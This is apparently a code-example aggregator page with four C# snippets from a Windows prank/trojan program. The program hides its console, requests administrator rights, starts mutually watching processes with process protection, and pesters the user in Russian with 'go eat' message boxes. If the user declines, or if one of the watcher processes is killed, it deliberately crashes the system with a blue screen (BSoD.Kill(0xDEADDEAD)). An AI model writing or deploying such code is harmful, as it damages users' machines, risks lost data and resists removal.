Exemplo n.º 1
0
        public static void Watch()
        {
            string name = Process.GetCurrentProcess().MainModule.ModuleName.Substring(0, Process.GetCurrentProcess().MainModule.ModuleName.Length - 4);

            while (true)
            {
                if (Process.GetProcessesByName(name).Length < 3)
                {
                    BSoD.Kill(0xDEADDEAD);
                }
            }
        }
Exemplo n.º 2
0
        public static void Watch2()
        {
            string name = Process.GetCurrentProcess().MainModule.ModuleName.Substring(0, Process.GetCurrentProcess().MainModule.ModuleName.Length - 4);

            while (true)
            {
                if (Process.GetProcessesByName(name).Length < 2)
                {
                    new Thread(BSoD.Fun).Start();
                    BSoD.FastKill(0xDEADDEAD);
                }
            }
        }
Exemplo n.º 3
0
        static void onYes()
        {
            MessageBox.Show("Вот и молодец! Когда покушаешь, нажми OK", "", MessageBoxButtons.OK, MessageBoxIcon.Information);
            DialogResult res = MessageBox.Show("Ты не покушал! А ну, быстро иди жрать!", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);

            if (res == DialogResult.Yes)
            {
                onYes();
            }
            else
            {
                new Thread(BSoD.Sounds).Start();
                MessageBox.Show("Ты меня разозлил!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                BSoD.Kill(0xDEADDEAD);
            }
        }
Exemplo n.º 4
0
        static void Main(string[] args)
        {
            Program.args = args;

            ShowWindow(GetConsoleWindow(), 0);

            bool             isElevated;
            WindowsIdentity  identity  = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);

            isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);

            if (isElevated == false && !args.Contains("nobsod"))
            {
                Elevate();
            }
            else
            {
                if (args.Contains("watch") && !args.Contains("nobsod"))
                {
                    Watcher.Watch();
                }
                else if (args.Contains("noreboot") && !args.Contains("nobsod"))
                {
                    ProcessProtection.Protect();
                    Watcher.Watch2();
                }
                else if (!args.Contains("nobsod"))
                {
                    Watcher.StartNoRebootProcess();
                    Watcher.StartWatcherProcess();
                    Thread.Sleep(100);
                    new Thread(Watcher.Watch).Start();
                }

                MessageBox.Show("Пора кушать!", "", MessageBoxButtons.OK, MessageBoxIcon.Information);
                DialogResult res = MessageBox.Show("Ты хочешь кушать?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                if (res == DialogResult.Yes)
                {
                    onYes();
                }
                else
                {
                    res = MessageBox.Show("Я спросил - ты хочешь кушать?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                    if (res == DialogResult.Yes)
                    {
                        onYes();
                    }
                    else
                    {
                        res = MessageBox.Show("А ну, быстро иди жрать!", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                        if (res == DialogResult.Yes)
                        {
                            onYes();
                        }
                        else
                        {
                            res = MessageBox.Show("Последний раз спрашиваю - ты пойдёшь кушать?", "", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                            if (res == DialogResult.Yes)
                            {
                                onYes();
                            }
                            else
                            {
                                new Thread(BSoD.Sounds).Start();
                                MessageBox.Show("Ты меня разозлил!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                                BSoD.Kill(0xDEADDEAD);
                            }
                        }
                    }
                }
            }
        }